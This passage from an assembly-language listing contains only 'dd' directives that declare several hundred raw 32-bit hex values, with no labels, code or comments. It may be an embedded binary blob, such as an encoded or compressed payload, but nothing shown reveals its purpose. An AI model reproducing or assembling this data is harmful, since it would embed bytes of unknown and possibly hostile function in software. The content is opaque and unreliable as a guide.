0B499A7C4h, 0EE01E702h dd 0B6494007h, 3CFB008Dh, 0A9273D34h, 1900CF94h, 0B9D60415h dd 0B4201Ch, 95EE604Dh, 2F78F68Ch, 91F1DF00h, 988525B6h dd 5B8900ECh, 0C3FC10Fh, 0DE007BDDh, 5EA3C431h, 4C3D23EDh dd 0D51F417Eh, 6D24C139h, 0F40D019Ch, 3F0BE93Bh, 0E1FF633Dh dd 0C3EBFD06h, 0CD7C059h, 0F9C50381h, 2629F358h, 4B6F5EE8h dd 6203707Dh, 0A4949CC7h, 0C096CB1Ah, 9DCB20h, 0B1D6DDE8h dd 6D214086h, 73658E00h, 9E52A511h, 0FB909Bh, 0FDC16E3Dh dd 0A6F0E4D4h, 879CE800h, 0A308615Fh, 894403BEh, 0EEB9D7F5h dd 0E1EA22A0h, 1237B001h, 0DF3887F8h, 72D549E4h, 0D3BF1D7Ah dd 2372C060h, 7ECD2114h, 77982500h, 0EE200912h, 0B545000Dh dd 4FDB9779h, 0ED003FE6h, 0AE956306h, 508AA9C4h, 0B26EF83Dh dd 87A3072Ch, 0C0A83710h, 0C868AB77h, 5232D00h, 0CD033624h dd 2C622867h, 83D000D8h, 0FAB2284Fh, 10001586h, 0D35D9435h dd 38AA54h, 0BFBCEBF9h, 84C26298h, 0E98CA300h, 4CFE59F7h dd 29B0065h, 61687301h, 4F7F3D3Ch, 2A82DD30h, 18892B2h dd 0C6AF9B91h, 8059B0BDh, 0E8E08621h, 78EB1768h, 0DEBC0014h dd 89BAA36Ah, 3F3FD931h, 0B9250163h, 3A19300Eh, 7C70860h dd 997B2E69h, 0E1152060h, 0F80F9B67h, 0D2FEDBh, 1FC7BEE4h dd 26CE004h, 0FFBC5F4Dh, 20409DB6h, 60984B09h, 0D8AE80C0h dd 0F010BD0Fh, 8A400133h, 0E86DCFBCh, 3B2080DEh, 0FCE59487h dd 2EF90092h, 10A4C704h, 0F1794B7Ch, 76CF0D03h, 0D029A2ABh dd 0A0EB66F3h, 48B90B82h, 0D0010C11h, 0D862815Dh, 9FBCFCDBh dd 6834190Eh, 1C00777Ch, 0FE75F5C5h, 0F89D0059h, 4525D332h dd 470564A7h, 0C2E3F1F6h, 7E3FE3C0h, 13570038h, 0E910B816h dd 6E3FB588h, 0B1A413F7h, 7EC4607h, 5AA6E290h, 5CF100C8h dd 0D919AE32h, 0CB00B208h, 25883D82h, 1CDBB6Fh, 2740A22Ah dd 207F63C3h, 4A777BB4h, 6A879F07h, 919090EBh, 772EBB97h dd 0C747001Ch, 0A0B7A3F5h, 2107013Dh, 0FE437ABCh, 0C00458D0h dd 38ABE0BAh, 7B0692C1h, 3ED0622Eh, 66F8D3F8h, 96B1EF00h dd 0E5D98CEh, 76DC00AFh dd 0FC3B951Bh, 0DD00B337h, 925E0111h, 3E4B22Ah, 531AD0BAh dd 14E836F9h, 0FD008131h, 0E83D2947h, 4C0BBEh, 0C82E37E7h dd 0C70FE00Dh, 0B0445000h, 2BB15283h, 0B8DE4821h, 22D6DA03h dd 0A2E8432Ch, 60E01ADh, 0A36BC464h, 98AEA72Fh, 3CDEB86h dd 0AFEA1620h, 0ABA09F32h, 360051E6h, 0D7DE6782h, 806E4BCh dd 0C95DC848h, 0A6A36200h, 0B7F95Fh, 4E0CB20Bh, 0D8F2E4E9h dd 0AC108217h, 0D2989843h, 0E69B40h, 7C5D7BB0h, 0C24A12F5h dd 670BA400h, 0F0610689h, 4EE70142h, 0E655D3D4h, 4550F027h dd 520BC896h, 0D06C93C0h, 0C37A8Ah, 0B4AE2AB6h, 7C12DEFBh dd 0B25E1C00h, 92B39F1Dh, 0BCEF00BBh, 6A75AB48h, 0C10058DFh dd 42E4F28Ah, 2A7411CAh, 0B09B8Eh, 18EC646Ah, 8846432Bh dd 0CC85102Eh, 0F1B29C47h, 6584C07Fh, 73A013CBh, 0E6148098h dd 0CE0040FFh, 0E1318724h, 2BD3D38h, 4EE45CDFh, 0C4603928h dd 0BF001374h, 9C29CA36h, 7FE4B0Ch, 0E7B4B0FDh, 485C8045h dd 6501B8A2h, 0CF64788Bh, 0D2D04022h, 0DB4C005Bh, 0CAF6E8D3h dd 0A209A1BFh, 8056E47Ch, 64966257h, 0B84BF4F2h, 0A71600D8h dd 3265AE23h, 3300D5B6h, 153DF450h, 7C08228Ch, 0E4EF6B5h dd 0F5314486h, 6607ED20h, 4EC13D54h, 3F5D8FD2h, 0B3D0E1F5h dd 0F2CD0B2Fh, 0AC00C838h, 0E01707DDh, 86875E00h, 0F01FA63h dd 0ACF8954Ah, 25F3DF00h, 5CEF4FAFh, 36D7001Eh, 0E09C6E02h dd 240091A1h, 90657E74h, 0B1CE578h, 0AF5D6126h, 546AAC00h dd 10010C1h, 0D5F05B8Ah, 4BA1D7h, 0CBE4BBCCh, 27751BDDh dd 26D8FA00h, 8B233195h, 0BC940Fh, 6B32679Dh, 5100CF11h dd 0B19141DCh, 315490h, 0E7DAFC0Eh, 9FBE7DDDh, 0D1EC3013h dd 0A0FB4C60h, 550E00AEh, 0A1D49BABh, 3950BF5Ah, 20004CF0h dd 577D1287h, 0C0F3AA46h, 0B8D2EC86h, 4E006CB1h, 9C01B4B7h dd 0ABAF26h, 5D4CA70Bh, 1329999Ah, 0BE030376h, 0CAC23EE5h dd 161CF0EEh, 79F803FDh, 0B281BC88h, 0DDDC3097h, 9C38FB5Dh dd 0A89580B5h, 0FBA19FEh, 0A00D4BC3h, 0B6009451h, 6BF35E97h dd 768788h, 1D0C1117h, 9BF67C3h, 0E819D817h, 6015684Fh dd 861F7EFEh, 6F230333h, 76B231FDh, 0F0588BBAh, 98D2803Ch dd 68808934h, 0E7063D9Ah, 0F7EA1280h, 0F9FA903Dh, 65964F0Fh dd 0AFD48015h, 0D99920h, 0D124CDA4h, 292A896Fh, 5E566903h dd 0E8024D94h, 125274A5h, 0EC3EEEh, 162FA279h, 9974A1E5h dd 0CE325600h, 513395C5h, 0F9A8018Ah, 0F422BE6Dh, 0D1342094h dd 0D4A75000h, 3D75C5ACh, 0E27304D5h, 80E5EAE1h, 0A40C4B00h dd 0B22F1B00h, 0A7DB3241h, 5A060059h, 0D63D933Eh, 0AF4C4882h dd 0F7FF0030h, 7B727507h, 67BD3C9Bh, 0A1AE4C80h, 0DDC3E73Ch dd 0DE7DF500h, 48A20C50h, 0BA9D0039h, 72D0A940h, 0A0031D81h dd 0F614BF89h, 0F9B288ADh, 0A8CF6057h, 99DC9A05h, 0DE017C9Ah dd 0C1B7E8BCh, 37E443E5h, 2CD00D4h, 45EFF663h, 0D5F084BEh dd 3A843CFDh, 0E8C6937Ch, 29BC00AFh, 70D9DFBBh, 0F2138890h dd 78207958h, 0F91B54h, 75FCD091h, 62608CE4h, 7A3438E1h dd 22E347Eh, 0B0021089h, 68A76D1Ah, 4C7A4ED8h, 0D11A4CDh dd 0C03A72E3h, 0F551003Eh, 427AE0D3h, 398E18D6h, 0C26D50A5h dd 0FDCBFC00h, 1048D22Fh, 99200E0h, 19AF389Eh, 7118124Ch dd 4EF0E216h, 94080C1Dh, 0BBEE9C49h, 5D123217h, 1656AC00h dd 5E19EDh, 6141E0AAh, 0ABDC6B24h, 8FAFBE3Ch, 818AEAE3h dd 0E8D60B20h, 0B750A080h, 0E7DB2D59h, 89B59F0Ch, 0B05E93Bh dd 0E0A8AD6Eh, 0AFE5C700h, 731FF453h, 39C05861h, 7D4C1BEAh dd 5A550033h, 68D35211h, 700E443Bh, 0C093DCC1h, 2482B85Bh dd 0CC09000Ah, 0E733D9ACh, 0D4133EFDh, 6AEA926h, 1035BC56h dd 8DEC6900h, 979C37A7h, 31EF009Dh, 4777993Dh, 7C0093B0h dd 0A4AAE1C1h, 30F371B5h, 338364Fh, 543080A2h, 7538A2B9h dd 8BE4DAh, 0CAC01F5h, 7C1CDB1Fh, 2532110Ch, 564A09Ah dd 1D6AE8FAh, 16D8160Ch, 0FB4897A4h, 0B7FE7C16h, 5B8FE100h dd 0CB5CE63h, 64B0C9h, 3F58FAEEh, 4FA8E5C2h, 0B00070B4h dd 20DCC616h, 0D9B8A163h, 0D8010CF5h, 0B0606218h, 0B6E0E9h dd 2E231DFEh, 4632F6B0h, 0D283E813h, 807D40C0h, 0AD00077h dd 0CB1B45AEh, 63921B9h, 89A280A6h, 0B274FE03h, 0A1981CB4h dd 0A06740EAh, 0A2152FDh, 6F18A407h, 713048A3h, 0E8BB7E0h dd 83AC3C40h, 511DEE0h, 39001BDAh, 61705F67h, 1E665345h dd 40A1FFD1h, 867F20B6h, 67013E4Ah, 6E04152Dh, 0F9C4C27Ch dd 0AB640034h, 98BFE394h, 3F03F413h, 0B15FAF18h, 5623B845h dd 85C50E83h, 1F7FA3h, 96FD010Ah, 3B7EBB7Bh, 0FB103Ch dd 0C1D01CE1h, 22B272h, 5621F1CCh, 10EAF840h, 5A7B6D00h dd 0E8C0B34Ah, 0B176002Dh, 0AD333964h, 6300AA45h, 0CB12E99Ch dd 66AB67h, 3A2BE40Dh, 429536B7h, 0FF2F7600h, 0E70CEB25h dd 56A7001Fh, 5954CFF5h, 0AA00B703h, 8F4212Ch, 0A36E5Ch dd 0ADEDFE29h, 3130A9DCh, 80D77D3Ch, 54351042h, 25344ABCh dd 17D42582h, 0FC451100h, 1E6093h, 9BBB631Ch, 14C6477Ch dd 7600747Fh, 0C8E9F23Eh, 623B60h, 0E8F15B99h, 9FCB6FC3h dd 2B0FED78h, 0A0B025DBh, 0B2D48ADh, 84FAA05Dh, 0BF0200CFh dd 3E3BBD0Ah, 4D03E5CEh, 365110F2h, 4E79A0A6h, 0FDEE6Bh dd 0F9670CC0h, 24B4AB96h, 0BA9B711Dh, 187D2640h, 0EC1C33h dd 7355F8C4h, 0C50695B0h, 8FD42F00h, 83CF8751h, 0A7F8CF54h dd 4D1E5D60h, 0DA05E90Eh, 27BCBD6Fh, 0EA42FB80h, 1892F2AAh dd 8816FBE4h, 0DCA2C798h, 3CFF5B80h, 0DDFEE0FAh, 67327900h dd 6C8CDE6Ah, 0F9C100DAh, 3AF4895Ch, 0B3003529h, 0FBEED938h dd 0FE732369h, 0C7A00FA1h, 71021A5Eh, 0DCA0FED6h, 1FC0B06Fh dd 0AB738201h, 84324477h, 1BB9C050h, 5D9100BDh, 9AC8DE3Eh dd 5F78C6AAh, 0D70008FEh, 8CC0E9C2h, 0AB2E12h, 5114FE95h dd 15C7666Fh, 0FA924706h, 0F05FEAh, 0AF077641h, 3E597203h dd 1C45BF00h, 27664F46h, 0E21D0077h, 631B81ACh, 10001F6Fh dd 0CE7FB590h, 854838h, 0C651FB37h, 924E58A2h, 20BD6903h dd 0F03429A5h, 662A8h, 0F07E9E56h, 24C43B09h, 2B05977Ah dd 0D50E05A4h, 0FF25D000h, 12194Ah, 0C932B50Fh, 270721D6h dd 0D8745100h, 8EDB040Dh, 9F750140h, 21CC3A0Ah, 0E8BDEC6Fh dd 20005E2h, 11FC1662h, 0D24F54h, 5AEFE93Bh, 0CD7464D6h dd 80E75238h, 4394F502h, 0AC3D06h, 0EA7ACF30h, 799A9FD5h dd 0C12E420Fh, 0EFA4810Ah, 0F1E8BAA0h, 3A280A23h, 20CCC0F8h dd 773200A5h, 53421CD4h, 0C503D798h, 0CEA0797Ch, 0BD0BD82Bh dd 1C7F680h, 0C01FACD0h, 0E417515Ch, 140005B1h, 45C35948h dd 0C23755h, 6F1B08ABh, 0D04B784Fh, 0A87C6C12h, 0C3D95000h dd 493074DFh, 0F8031456h, 7638E3A7h, 1CE866C8h, 0EAF2C200h dd 582F95C3h, 91050013h, 626ABDD5h, 0D813081Fh, 9F00867Dh dd 74EF55EAh, 0E55F0029h, 46844DE8h, 3DE6C811h, 7DB14503h dd 0E8A97391h, 16D7C1h, 5826F15Dh, 6BE6D8A7h, 51004BEAh dd 0F794E290h, 0D34397h, 4274108Fh, 0D95D6107h, 8092AE38h dd 267755E8h, 7F073DAh, 8011F5B6h, 9094F797h, 128F162Dh dd 9A7EE800h, 6EC8AB6Bh, 60C4F0F0h, 1C3F11AFh, 280E4930h dd 60545BB6h, 974DCD6Eh, 2D951C12h, 14B3007Ah, 73991917h dd 656C4500h, 0D81C0BF5h dd 591D01E2h, 24B7FF81h, 3617F070h, 38FB7109h, 4D56005Ah dd 202CB6h, 0BB55EBAEh, 12576FF8h, 9E499603h, 0C0FB3F7Bh dd 0E6FF2BADh, 0F2BA1FC8h, 0C6F7479Bh, 71A680AEh, 6F00CD17h dd 56B82B2Eh, 0FCF4B112h, 23DC3997h, 102D7681h, 0C8D2BDA7h dd 38C04E66h, 0CA3A691Ch, 1977182Bh, 0DADBCB4h, 5CE61300h dd 0EAAB6685h, 0ACE45063h, 0C0B2F22Dh, 0BC0F0580h, 2C3CA798h dd 15386081h, 69575BFh, 3CCBA6CAh, 210807Dh, 92142726h dd 428088F6h, 0ABB51966h, 8073463Bh, 68A1D4C1h, 1CD57433h dd 1C6C20Bh, 955A39CFh, 2E82C05Ch, 0F17AA50Bh, 0E5A6C1ADh dd 0F71AD20h, 16BC2C12h, 8B7FE3A1h, 32C0E6B8h, 660093B6h dd 0C5CB27C6h, 3F7AB5A8h, 0D70FFD8Eh, 0E074439Fh, 7B837639h dd 0FE80597Ch, 0F0FB1BF9h, 7F00CAE8h, 867ED2ABh, 51B624h dd 8149AEDCh, 0D9053F85h, 7F639100h, 0D7E65C4Ch, 0BAC3008Bh dd 28E260E4h, 0DF00734Ah, 86B50616h, 0F9632Dh, 14EBF25Fh dd 0FFD0048Fh, 100BF124h, 0F9551E60h, 298D1F36h, 9130C012h dd 0BF742A1Fh, 0A806FB72h, 4FC8C56Ah, 0D7C701B9h, 1DAFD219h dd 0B9B63081h, 2F4E351Ch, 672DB680h, 59B8BFh, 0F499D818h dd 0CDAAADACh, 115AC100h, 0CF63E649h, 67EC61h, 59FC7AD4h dd 2A52257Eh, 0C4394E00h, 0B7F54C71h, 38DFCD1h, 3151EE85h dd 0B2D8257Ch, 1400CD29h, 0A2CC109Dh, 1F1141h, 1B666D9h dd 0F2337C0h, 250085EEh, 33A0DD38h, 1A429B8h, 1C2E8104h dd 0D443BBF9h, 5B00E3B3h, 0C878C95Eh, 3028AE0Dh, 0CC988398h dd 0DC004901h, 0BE860712h, 90154054h, 1FC100BCh, 0F9E4165Dh dd 4F0058E6h, 23EDEA73h, 9DA2C4h, 0E7A8B076h, 0C0EC685Fh dd 0F3527D00h, 0A4B969F6h, 55A03BC7h, 909E7DCh, 4024EF0h dd 904814B7h, 503CA24Ch, 0DC1C00CBh, 0D82D2482h, 38100A3h dd 288EE0D0h, 6205FDAFh, 1E83909Dh, 80328840h, 79DEC061h dd 0C4A0078h, 0FC536A88h, 8A30D095h, 97A6D955h, 7299E2DAh dd 25162AAFh, 0EA1201D8h, 0D67607ACh, 8CD04085h, 77779626h dd 5818B300h, 8B2F7D12h, 0E6FC0587h, 0C0909C8Fh, 0D9A3DAB5h dd 2EFADE01h, 766BF318h, 1F129447h, 0B8A44817h, 15BA0794h dd 7B6B2254h, 0BDA7200Eh, 4344F059h, 7A00CD87h, 0EBD5960Eh dd 48A109ABh, 0EA3E6486h, 0DDEF6080h, 68A21836h, 80063E8h dd 801D2B1Eh, 478A71h, 85CDA31Ah, 0E792966Eh, 551F4400h dd 7FA0E914h, 7560016Ch, 0C4C315EFh, 9F1C607Bh, 0B886FC03h dd 0B072F6CBh, 753E42Ch, 736D6E29h, 0E3ACD00Ah, 0FD0E09EEh dd 278634E2h, 3AE0B777h, 2F49353h, 50E894C0h, 8F801384h dd 0F3D0708Bh, 0BE54CD07h, 44707FBBh, 0F8085315h, 6527004Eh dd 3CDDF2D7h, 4300B6CBh, 108009B7h, 0F8FDF5C8h, 0B2AC00D1h dd 3BEA68E8h, 96007C9Eh, 0B94EBB86h, 5CAACD75h, 0BF0061F2h dd 8BB1621Dh, 0F00EF4Ah, 0DDC7B692h, 0E77978h, 0E9274D2Dh dd 0BAB9DF67h, 6001B839h, 8AE31B20h, 0D3740079h, 75C8F505h dd 0FB7ABA40h, 0F6A2B900h, 0AA722534h, 0D92700ADh, 4648EC6Fh dd 4F001851h, 3F5DF70Eh, 582E68h, 504284EDh, 24C7958Dh dd 0D38D598h, 9A00FF2Dh, 8B87C833h, 0A546F0h, 0A65E04C5h dd 0F3DBABB3h, 37E1C300h, 818A7ADEh, 0ACF700A1h, 26A94311h dd 9200B1E8h, 0B25EFFCBh, 0E3D6B09h, 0CE9ACFEEh, 0FA60AD2Fh dd 0A4A06AB5h, 7CA6D200h, 3B7D01D1h, 0E444077Bh, 50AA1407h dd 5CDAE8B1h, 0C4010871h, 75EF46B9h, 24C00F8Dh, 525800B7h dd 0FA5D6955h, 0F2006307h, 9DEAEF82h, 171DD9Ch, 5E15CF42h dd 0D0138A17h, 41003138h, 677DEB0Ch, 5B8027h, 0BE33A92Dh dd 23BCB8A1h, 84DCF001h, 5C7942C0h, 7B7D4h, 6D91B059h dd 36F8CDA4h, 0C692BE00h, 7AE1DA3Ch, 0E255E6B7h, 4F0E48B6h dd 4FBEA900h, 7D8AAA8Fh, 20C0B8E0h, 51DB32B5h, 484924F2h dd 52580D8h, 0FF1FEF47h, 0B3453500h, 0F1427C8h, 8CDA0016h dd 7F0281DBh, 7400B6C3h, 0DF7740A6h, 654FCA7h, 480E1C7Dh dd 4F98816Ah, 41B0E307h, 90611124h, 5AF01B96h, 881C019Fh dd 0CC63D6DDh, 0F2E02078h, 0C2F9BA03h, 984C2641h, 32FFC4Bh dd 24088E3Eh, 83E892CDh, 81032EACh, 0EF1FCA4Ch, 2973E023h dd 92520015h, 98BFD534h, 0DF7865E3h, 0BD896C00h, 0F49C2643h dd 58711706h, 52A6039Fh, 0E3A8D2B5h, 7000CD93h, 3A8BE923h dd 5E019Bh, 0DDF4F587h, 9A92E8E1h, 33CC8400h, 0A2370D19h dd 6CD44CE3h, 0BBB2C200h, 612F8023h, 5C46F60Eh, 509AC07Eh dd 30CEEA1h, 0B1C65FD5h, 3EB9E799h, 0AAA8C865h, 0DCB09703h dd 0B0DD4B9Dh, 4C1F2ACDh, 0EE003AEBh, 0B34C8BC7h, 1998439Bh dd 0ED522700h, 0DCFE0C69h, 1C5101F5h, 6EB5D637h, 0B639F00Dh dd 0DE9EAA00h, 0ABC7563h, 79B43911h, 10715C80h, 0F797A261h dd 0D7035600h, 993A0CEh, 0D8C21F3Ch, 2980FCE0h, 0F94D9B2Eh dd 150191EDh, 0A3C1FDC5h, 7DF4C8E3h, 0D7633h, 1D4CBED3h dd 0BFABD9FEh, 0F3748700h, 1055586Ch, 0EA14C02Ah, 4D570B61h dd 292E7914h, 2C6B00C8h, 0FDAC5A20h, 16C40005h, 4F1106D0h dd 0CE009150h, 0F502D59Dh, 763F7C6Bh, 218F068Bh, 204F1FDDh dd 0B440BB00h, 0E8899EBCh, 0C4E4E9h, 63FF6133h, 858C6720h dd 0CA524C03h, 0C8D71992h, 5DE59Dh, 0D5D88DA8h, 53E35AEEh dd 49507878h, 41E921F8h, 0E9A05EACh, 48C8EC76h, 89FC1AF2h dd 0C0006E73h, 8CAA16C3h, 6F4363BAh, 1E6010ECh, 77FBD146h dd 700015F4h, 0D3E4C79Bh, 4E5C1F72h, 4FC50C76h, 0FC3A8A20h dd 0E6B90928h, 5AC58780h, 4F3958E1h, 7C6184F8h, 96E1377h dd 0F4B40FECh, 8120792Fh, 7B191F9Ah, 173DBC03h, 807ABEA1h dd 574E44h, 0F96AAC4Ah, 35CD5E3Fh, 0BDAACC01h, 0D5EC1C65h dd 98C9E6C8h, 0AE0900ACh, 0E8DE354Dh, 2D120B82h, 0A6033D1Bh dd 9821DA6Eh, 1D9C6D6h, 7C6FE42Ah, 8079026Ah, 0B19C0E60h dd 72924EFh, 0FF3F43EBh, 0FFDB0CDh, 0AF715F5Ah, 27A0AB5Eh dd 0A33901FAh, 9CBDD2AAh, 1EEBECF2h, 5101B8FCh, 5A6A25D3h dd 0DEE83807h, 938F0054h, 1A65AA4Ah, 0C600E1D1h, 0FDC44B3Eh dd 0B3586Eh, 2DD7E653h, 60198288h, 0AFC87200h, 0A2139C5Bh dd 0F51C003Ch, 3B6C6BC3h, 870017A8h, 349958B0h, 3EE6B5BAh dd 0D880A5E1h, 74A6C80h, 600DAB7h, 0B896CEF7h, 0FE9379h dd 8E190203h, 42A14580h, 0CF491200h, 0F3C9EE4Ch, 5911166Eh dd 0D1B70E40h, 5C6785A1h, 61B1401Fh, 5D00822Ch, 3971EBC9h dd 0C56A1BCh, 1EC16BC5h, 980E1D10h, 60B03F8Ah, 0D7BED509h dd 0B2750041h, 6F76E981h, 0F00066A6h, 0A0E4A704h, 0FFC611Fh dd 0C478157Dh, 0E7206DC3h, 2016E091h, 0CC071C14h, 0A353D268h dd 0CA5CB180h, 96C700B5h, 0F1FA98C8h, 16034EBDh, 666003BCh dd 6AF4B047h, 0DE0A3AC0h, 99337500h, 453489FFh, 6F4F1400h dd 0CAB9A1D2h, 12A400C0h, 41F8A964h, 6600E360h, 0B47D6B24h dd 0A7145Ah, 40AF5928h, 496D8E8Ah, 0B8AA6C00h, 6B1225A8h dd 53C7007Bh, 0DAA04EF1h, 0D000CF87h, 0CA27178Ch, 0F9E467h dd 0D846BF0Bh, 0A0702D56h, 1806A800h, 6E7C7D1Bh, 0A59A0423h dd 80C821CEh, 0B049251Ch, 67B0771h, 0D200197Bh, 54B2F4F8h dd 3F4AF2BCh, 0FB00ED04h, 37F6A00Dh, 84025727h, 0C467225Fh dd 118A60B0h, 0DA6800E1h, 0B93DAA1Eh, 0E600F6FDh, 1593876Eh dd 2D29Dh, 8198834Fh dd 0DB3D53BEh, 491C0A01h, 0BB01D358h, 0D5F97CE5h, 0AC1420h dd 48636633h, 13C6970Ah, 0EAFC9A0Ah, 843DE8CEh, 0F44B92B3h dd 7ED29280h, 3B49F6DAh, 0C30013FCh, 904FF779h, 0E101DCBBh dd 145564E4h, 0BFD06F0Eh, 585A2417h, 692C0178h, 0E2DF0D04h dd 0AC4797E0h, 20579A00h, 6D25EE6Fh, 6B7B0033h, 377395EAh dd 0C9000D3Ch, 0DD0540FAh, 7CDE8314h, 689D00EDh, 2F46B6B8h dd 0B43F16D6h, 0B9649C2Dh, 380A0A26h, 900F6B3h, 1DFE2C32h dd 28400047h, 83849EE9h, 4D00D172h, 7E1E6F9Bh, 0EA53734Ah dd 492A002Eh, 68A3C5BEh, 2B769324h, 0C07CF000h, 0D62D0F3Ah dd 6C2300E4h, 0B972B01Eh, 0E500380Eh, 93F88163h, 0BD4F33h dd 9B60AE06h, 0AB56B383h, 1D6F141Eh, 0AF2DB41h, 782427CCh dd 0A4528094h, 69F0870Ah, 0F200DB8Ah, 0C404FAE2h, 3D01F4B4h dd 0A70008F9h, 0FFEF9203h, 0F325A6CEh, 0C7F26016h, 99E20321h dd 7AE9D620h, 54EF6EA0h, 6EEE81Ch, 48DC3700h, 0D0B343h dd 0D1395786h, 13A46881h, 0B9117C60h, 12349CECh, 465C0BADh dd 8F38210h, 0D0733901h, 0D13488EAh, 0C79A4D0h, 0AF53AB33h dd 5F03DB38h, 1FD9D0EFh, 0F8E7994Dh, 0B1FAA310h, 905D0B00h dd 0D1FFADFEh, 0C83B04FDh, 1D4E04Ch, 541C580Ch, 0F2CC81C0h dd 5CAE28F8h, 0E7BE180Ch, 37D49155h, 0E546A00h, 3D29B081h dd 8B7A0071h, 4FD22695h, 0E600FCD4h, 0EE6A9A37h, 0F4612047h dd 87E901A1h, 0FAC34BB1h, 4D9FF832h, 1DB4F500h, 23F6FF5Eh dd 0BB563FBDh, 0F9B797h, 4550D089h, 81E246EFh, 19B9D600h dd 3C696117h, 38921776h, 21790026h, 0C84ED31Dh, 42033000h dd 537F89DAh, 0B8F600EEh, 6ED95594h, 6B00B1FEh, 623B50ECh dd 8071F0h, 604A7430h, 97651A0Eh, 5C4ED200h, 7990F6EAh dd 0F637CF8h, 0F059E6B4h, 0A2BADBC1h, 2236C4B5h, 0F860B800h dd 0D565E8CBh, 84D414D6h, 97ACD9Eh, 37525168h, 2892A880h dd 2D543A97h, 4A539A0h, 43D00E62h, 8794E05Bh, 0F3330116h dd 7AE34806h, 6F5AF80Ch, 0E009DB0h, 3AC105B9h, 0C41FC594h dd 42C6E429h, 1F2AA37h, 0C0D6EDh, 8134635Fh, 0A52841F0h dd 21299091h, 32CF4082h, 21C70C02h, 1744C92h, 788004D5h dd 7E51BAB5h, 0CE00C9FEh, 1F42E0A7h, 0C0C276h, 0F65DDE8h dd 28BF5D3Ah, 9C471500h, 0AF04BCF5h, 515900CAh, 0DA8C5B07h dd 5000DF7Fh, 0C9E4E03Dh, 3B704505h, 0BFEB4EDh, 378DC27Ch dd 961F080h, 453C1988h, 128305CDh, 0CB80B5AFh, 4981F7h dd 2C6DBD4h, 0D396B8ECh, 0F675980Eh, 4F89E00Ch, 709BD2h dd 57C569Ah, 0A284EE43h, 0C1F57F03h, 0E8C9AFB4h, 5C9BE32Eh dd 400BE4Fh, 50606F80h, 0DD3CCBA6h, 54FB003Dh, 48BC5384h dd 57B002Ch, 5F214061h, 0E6987FF4h, 63119D00h, 62281C88h dd 90FA09B1h, 0F40F6E1Bh, 0DCD6B40h, 9700151Eh, 3A1FF56Ch dd 0D46D53h, 0F2BE9F8Fh, 0B824D805h, 8E0B123Eh, 4B4F98h dd 771AED3Fh, 4ECF0093h, 0B666B3B1h, 0FB06880Bh, 56B0DE90h dd 1D8E7360h, 4E6FEA96h, 514317F2h, 0B08F1161h, 0A866B99Ch dd 0D0A1BA00h, 860A5D3Fh, 0F5EB07D7h, 0CFDE0257h, 2D554B63h dd 0AAE24488h, 0F3EA9000h, 871F48F2h, 670AC073h, 225135C7h dd 8061963Ah, 33E759D3h, 7D458F93h, 7F3101E1h, 0B8113882h dd 0D001E0A3h, 0B1E7CE00h, 2DA84310h, 381FC0Ch, 0D79047F6h dd 0B4E89ADBh, 403F220Fh, 0AC440049h, 0D153D406h, 0B3CB00A4h dd 0B97DE64h, 0E0B8E550h, 830AC639h, 54D38C66h, 0E6DBD0FCh dd 345C0055h, 0A7594603h, 0E500608Ah, 0F7F19830h, 0FE7F0Eh dd 57CEBE99h, 0CFEB3307h, 2F545E12h, 4385D800h, 7F1B6CCh dd 9C3D3C7Fh, 172280C1h, 0DF002815h, 458E2A4Ch, 558452h dd 44760BB9h, 0C8B39AA0h, 0C91F8D00h, 0ACB70D75h, 1DA1FC4Eh dd 82FAB0B1h, 72B2A82Fh, 0C05C9F41h, 135016C0h, 93007CA4h dd 700C9A12h, 72228244h, 0C12000A6h, 0B165F485h, 0B027BEEh dd 9DF6172Bh, 8FB08116h, 3DEC6C54h, 0A1420155h, 6507B279h dd 0E8086168h, 2C3393A2h, 0C823198Fh, 4C9F989h, 0EC51CECCh dd 0E00CB05Eh, 9D31158h, 383A8497h, 958C1Ch, 0FDB7581Dh dd 0B1BCF0FCh, 6C7C2A1Fh, 0EADF80FCh, 65488D61h, 0B0BFE278h dd 0FC42009Bh, 19494AF3h, 0A30009C5h, 0F1998AD9h, 0A069EE66h dd 0D11AAEh, 4C0FBC84h, 9C6320A0h, 89924100h, 234D6644h dd 0DF6B0031h, 1E0ED410h, 7C007626h, 0F8354EEh, 0E857F14h dd 53A40107h, 0FD34C0FCh, 4FC4E338h, 15BB4501h, 0ACDD2C02h dd 0BF04A28Eh, 9BAC0EF3h, 745C7DA0h, 0ED072603h, 0C9A86E36h dd 0D3B413B0h, 0B77E0014h, 0E2D1578Fh, 100E58Eh, 6EE3D24Bh dd 0CCC4FCh, 0EA1F5ACDh, 0F262F74Ch, 0BF50D700h, 79A54007h dd 0FFC50A16h, 398B9FAh, 0E04C646h, 0BA143107h, 0AE10B102h dd 72B88D24h, 2728C086h, 1185599Fh, 0C03B52h, 0B89D4BCEh dd 133965C1h, 0EFBEB5h, 0C2563157h, 0EA00B678h, 954807C3h dd 0A78408h, 505FDD5Eh, 634D6279h, 9EEA4A00h, 314F4E3Ah dd 88BF0202h, 113D7D4h, 3DCB1860h, 4817B88Bh, 0CEB24C87h dd 0EE307200h, 49E39242h, 0C1364C00h, 0F24AF4DFh, 30E0024h dd 8F40F0BAh, 150107B0h, 50121F77h, 0A9D8C547h, 6E2E0E11h dd 0B04040DBh, 51BF428Fh, 0CB1BA418h, 38E05970h, 5800D4Dh dd 0B4DA1693h, 0AA02C802h, 9055EE70h, 0ADB8616Ch, 1E7A2FE4h dd 61582Eh, 20FF459h, 0FC004888h, 56793390h, 5CD8D995h dd 491254C4h, 85A401A4h, 0D49088D6h, 0E60005FCh, 29A58BF0h dd 332A8h, 78EE6866h, 4A4FF52Dh, 0A8ADEB26h, 0DA6C4D00h dd 0F8826DE6h, 0F0410036h, 3FAC03EEh, 5300015Bh, 76146A28h dd 5E3571h, 0EBF82C1Ah, 8BB91E98h, 0A6D3D100h, 0CF770839h dd 0DA2F00BDh, 0A981B4EAh, 0E707094Ah, 4CCCED12h, 0B00082D5h dd 2240C835h, 0CC9AF3h, 0F82DFF73h, 7E44B4C7h, 0D80ED630h dd 2974ABh, 0B969F34Ah, 256F3AE6h, 0B48EFFCh, 0BB7B72BAh dd 0E2F76600h, 0BC8150F1h, 0B2DD1E98h, 0F00D0024h, 0A2F67A57h dd 0A3C8A913h, 68347A07h, 0E0354AC3h, 735C4DB4h, 0C91102B8h dd 0F3DE0890h, 7C2704C0h, 0B0B7C403h, 0BB4AD3F9h, 3A1803CFh dd 0BB8F1020h, 0C9FA24A3h, 0E5CC60F5h, 60020069h, 8EF19E43h dd 0B42C80F4h, 3D8EE89Dh, 0AFB7E028h, 18CD482h, 6646E88h dd 0FCDCBD1Bh, 5D00B3E2h, 9A7643B2h, 61C9C31Ch, 0B573A8A0h 